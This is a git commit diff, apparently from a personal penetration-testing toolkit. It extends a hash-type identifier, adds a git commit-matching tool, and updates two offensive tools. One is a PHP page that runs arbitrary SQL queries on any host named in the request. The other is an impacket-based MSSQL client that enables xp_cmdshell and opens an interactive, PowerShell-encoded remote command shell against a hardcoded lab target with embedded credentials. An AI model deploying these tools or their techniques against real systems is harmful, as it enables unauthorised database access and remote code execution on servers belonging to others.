some windows binaries, git commit finder

This commit is contained in:
Roman committed 2021-11-14 15:24:24 +01:00
1 parent 3ea1cba7ca
commit 12af2f80b7
13 files changed
+243 -35

No files matched your search

+19 -1
View File
@@ -25,6 +25,7 @@ class HashType(enum.Enum):
RAW_SHA1 = 100
SHA1_PASS_SALT = 110
SHA1_SALT_PASS = 120
SHA1_SHA1 = 4500
SHA1 = 101
SSHA1 = 111
@@ -81,6 +82,14 @@ class HashType(enum.Enum):
# Keepass
KEEPASS = 13400
# mysql
MYSQL_323 = 200
MYSQL_41 = 300
MySQL_CRAM = 11200
#
IPMI2 = 7300
class Hash:
def __init__(self, hash):
@@ -124,6 +133,8 @@ class Hash:
self.type.append(HashType.PYTHON_PBKDF2_SHA512)
elif crypt_type == "keepass":
self.type.append(HashType.KEEPASS)
elif crypt_type == "mysqlna":
self.type.append(HashType.MySQL_CRAM)
elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"):
self.type.append(HashType.DJANGO_PBKDF2_SHA256)
else:
@@ -163,7 +174,9 @@ class Hash:
if HEX_PATTERN.match(raw_hash):
hash_len = len(raw_hash)
if hash_len == 32:
if hash_len == 16:
self.type.append(HashType.MYSQL_323)
elif hash_len == 32:
if self.isSalted:
self.type.append(HashType.MD5_PASS_SALT)
self.type.append(HashType.MD5_SALT_PASS)
@@ -179,6 +192,8 @@ class Hash:
else:
self.type.append(HashType.RAW_SHA1)
self.type.append(HashType.RAW_RIPEMD_160)
self.type.append(HashType.MYSQL_41)
self.type.append(HashType.SHA1_SHA1)
elif hash_len == 64:
if self.isSalted:
self.type.append(HashType.SHA256_PASS_SALT)
@@ -205,6 +220,9 @@ class Hash:
if not self.isSalted:
seld.type.append(HashType.MSSQL)
self.hash = "0x" + raw_hash # TODO: MSSQL requires 0x prefix..
elif hash_len == 142:
if self.isSalted:
self.type.append(HashType.IPMI2)
elif raw_hash.startswith("0x") and HEX_PATTERN.match(raw_hash[2:]) and len(raw_hash) == 140+2:
seld.type.append(HashType.MSSQL)
+3 -2
View File
@@ -85,7 +85,8 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
if len(headers) == 0:
self.send_response(status_code)
else:
self.log_request(status_code)
if path != "/dummy":
self.log_request(status_code)
self.send_response_only(status_code)
for key, value in headers.items():
@@ -100,7 +101,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
if data and self.command.upper() not in ["HEAD","OPTIONS"]:
self.wfile.write(data)
if path in self.server.dumpRequests or "/" in self.server.dumpRequests:
if (path in self.server.dumpRequests or "/" in self.server.dumpRequests) and path != "/dummy":
contentLength = self.headers.get('Content-Length')
body = None
+183
View File
@@ -0,0 +1,183 @@
import argparse
import re
import os
import tempfile
import subprocess
import collections
import shutil
import hashlib
import datetime
PROC_ENV = { "LC_ALL": "C" }
def run_cmd(cmd, dir=None, raw=False):
proc = subprocess.Popen(cmd, cwd=dir, env=PROC_ENV, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
out = b"".join(proc.communicate())
if not raw:
out = out.decode().strip()
exit_code = proc.returncode
return exit_code, out
def check_git_dir(dir):
exit_code, out = run_cmd(["git", "status"], dir)
if "not a git repository" in out:
print("[-] Given directory is not a git repository.")
return False
elif "Your branch is up to date" not in out \
or "nothing to commit, working tree clean" not in out:
print("[-] Git repository is not in a clean state, please reset it to HEAD")
return False
elif exit_code != 0:
print("[-] Error checking given directory:", out)
return False
else:
return True
def git_clone(dir, url):
print(f"[ ] Cloning {url} to {dir}")
exit_code, out = run_cmd(["git", "clone", url, dir, "-q"])
if exit_code != 0:
print("[-] Error cloing git repository:")
print(out)
return False
return True
def check_input_dir(dir):
if not os.path.isdir(dir):
print("[-] Invalid directory:", dir)
return False
if os.path.isdir(os.path.join(dir, ".git")):
print("[-] Directory to check should not be a git repository")
return False
valid_files = []
real_root = os.path.realpath(dir)
for root, subdirs, files in os.walk(dir):
for file in files:
full_path = os.path.realpath(os.path.join(root, file))
file_size = os.path.getsize(full_path)
if file_size > 0:
relative_path = full_path[len(real_root) + 1:]
valid_files.append(relative_path)
if len(valid_files) == 0:
print("[-] Given directory does not contain any non-empty files")
return False
return valid_files
def get_commits_for_file(file, git_dir):
cmd = ["git","log","--no-color", "--pretty=format:%H %at", "--all","--", file]
exit_code, out = run_cmd(cmd, git_dir)
if exit_code != 0:
print("[-] git-log failed:", out)
return None
else:
lines = out.split("\n")
commits = collections.OrderedDict()
for line in lines:
if line:
data = line.split(" ")
hash, ts = line.split(" ")
commits[hash] = int(ts)
return commits
def hash(data, alg):
h = hashlib.new(alg)
h.update(data)
return h.hexdigest()
def read_file(file):
with open(file, "rb") as f:
return f.read()
def find_newest_commit(git_dir, file_name, sha1hash, md5hash, commits):
for commit_hash in reversed(commits.keys()):
cmd = ["git", "show", f"{commit_hash}:{file_name}"]
exit_code, out = run_cmd(cmd, git_dir, raw=True)
if exit_code != 0:
print("[-] git-show failed:", out)
return None
elif sha1hash == hash(out, "sha1") and md5hash == hash(out, "md5"):
return commit_hash
return None
def get_commit_message(dir, commit_hash):
cmd = ["git","log","--no-color", "--pretty=format:%B", "-n1", commit_hash]
exit_code, out = run_cmd(cmd, dir)
if exit_code != 0:
print("[-] git-log failed:", out)
return None
else:
return out
def run(files, root_dir, git_dir):
latest_commit = None
latest_ts = None
for f in files:
commits = get_commits_for_file(f, git_dir)
if commits:
print(f"[+] {f} found in git history")
sha1hash = hash(read_file(os.path.join(root_dir, f)), "sha1")
md5hash = hash(read_file(os.path.join(root_dir, f)), "md5")
found_commit = find_newest_commit(git_dir, f, sha1hash, md5hash, commits)
if found_commit:
print(f"[+] Commit {found_commit} matches")
if latest_commit is None or commits[found_commit] < latest_ts:
latest_commit = found_commit
latest_ts = commits[found_commit]
else:
print(f"[-] {f} not found in git history")
if latest_commit is None:
print("[-] No matching commit found")
else:
title = get_commit_message(git_dir, latest_commit)
formatted_dt = datetime.datetime.fromtimestamp(latest_ts).strftime("%A, %d. %B %Y %I:%M%p")
print(f"[+] Commit might be: {latest_commit}, {formatted_dt}, {title}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
dest="dir",
help="The directory containing downloaded files"
)
parser.add_argument(
dest="git",
help="URL or path to git repository to compare to"
)
parser.add_argument(
"-n",
"--no-delete",
dest="nodelete",
action="store_true",
help="Don't delete the git directory after cloning"
)
is_remote_git = False
args = parser.parse_args()
git_dir = args.git
if re.match("^(git|https?)://.*", args.git) or \
(len(args.git.split(":")) == 2 and "@" in args.git.split(":")[0]):
git_dir = tempfile.TemporaryDirectory(suffix=".git").name
is_remote_git = True
if not git_clone(git_dir, args.git):
exit(1)
if check_git_dir(git_dir):
valid_files = check_input_dir(args.dir)
if valid_files != False:
run(valid_files, args.dir, git_dir)
if is_remote_git and not args.nodelete:
shutil.rmtree(git_dir)
+4 -2
View File
@@ -3,13 +3,15 @@ error_reporting(E_ALL);
$username = $_REQUEST["username"];
$password = $_REQUEST["password"];
$database = (isset($_REQUEST["database"]) ? $_REQUEST["database"] : null);
$host = (isset($_REQUEST["host"]) ? $_REQUEST["host"] : "localhost");
$query = (isset($_REQUEST["query"]) ? $_REQUEST["query"] : "SELECT @@version");
$link = mysqli_connect("localhost", $username, $password, $database);
$link = mysqli_connect($host, $username, $password, $database);
if (!$link) {
die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
}
$res = mysqli_query($link, $_REQUEST["query"]);
$res = mysqli_query($link, $query);
if (!$res) {
die("Error executing query: " . mysqli_error($link));
}
+2 -2
View File
@@ -154,8 +154,8 @@ def collectUrls(input):
input = BeautifulSoup(input, "html.parser")
urls = set()
attrs = ["src","href"]
tags = ["a","link","script","img"]
attrs = ["src","href","action"]
tags = ["a","link","script","img","form"]
for tag in tags:
for e in input.find_all(tag):
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+32 -28
View File
@@ -5,6 +5,7 @@
import os, cmd, sys, re, base64
from impacket import tds
import readline
import argparse
class XpShell(cmd.Cmd):
@@ -13,6 +14,7 @@ class XpShell(cmd.Cmd):
self.sql = SQLObj
self.prompt = 'xp_cmd> '
self.file = None
self.pwsh = False
def powershell_encode(self, data):
return base64.b64encode(data.encode('UTF-16LE')).decode()
@@ -24,7 +26,7 @@ class XpShell(cmd.Cmd):
def default(self, arg):
try:
if pwsh:
if self.pwsh:
new_arg = 'powershell -encodedCommand {}'
arg = new_arg.format(self.powershell_encode(arg))
@@ -36,6 +38,7 @@ class XpShell(cmd.Cmd):
except Exception as e:
print('Exception: ')
print(str(e))
raise e
pass
# i wont say what it does
@@ -115,6 +118,14 @@ exit - i wont say what it does
self.sql.colMeta[0]['TypeData'] = 80*1
self.sql.printRows()
def do_enable_xp_cmdshell(self):
try:
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
"exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except Exception as e:
raise e
# encodes bytes as base64 and writes them to a file via powershell
def write_bytes_to_file(self, data, target):
@@ -132,32 +143,25 @@ exit - i wont say what it does
def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
# do database connection (simple for now)
try:
ms_sql = tds.MSSQL(ip, port)
ms_sql.connect()
res = ms_sql.login(database = None, username=username, password=password, domain=domain)
ms_sql.printReplies()
if res:
return XpShell(ms_sql)
else:
return res
ms_sql = tds.MSSQL(ip, port)
ms_sql.connect()
res = ms_sql.login(database = None, username=username, password=password, domain=domain)
ms_sql.printReplies()
if res:
return XpShell(ms_sql)
else:
return res
except Exception as e:
print('Exception: ')
print(str(e))
return False
if __name__ == '__main__':
# pass commands directly into powershell
# ./xp_cmdshell.py -powershell
# if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
# pwsh = True
# if __name__ == '__main__':
# # pass commands directly into powershell
# # ./xp_cmdshell.py -powershell
# if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
# pwsh = True
#
# # if connection successful
# ms_sql, res = connect_mssql()
# if res is True:
# shell = XpShell(ms_sql)
# shell.cmdloop()
#
# # close ms_sql
# ms_sql.disconnect()
# if connection successful
xp_shell = connect_mssql("teignton.htb", username="webappusr", password="d65f4sd5f1s!df1fsd65f1sd")
if isinstance(xp_shell, XpShell):
xp_shell.do_enable_xp_cmdshell()
xp_shell.pwsh = True
xp_shell.cmdloop()
xp_shell.sql.disconnect()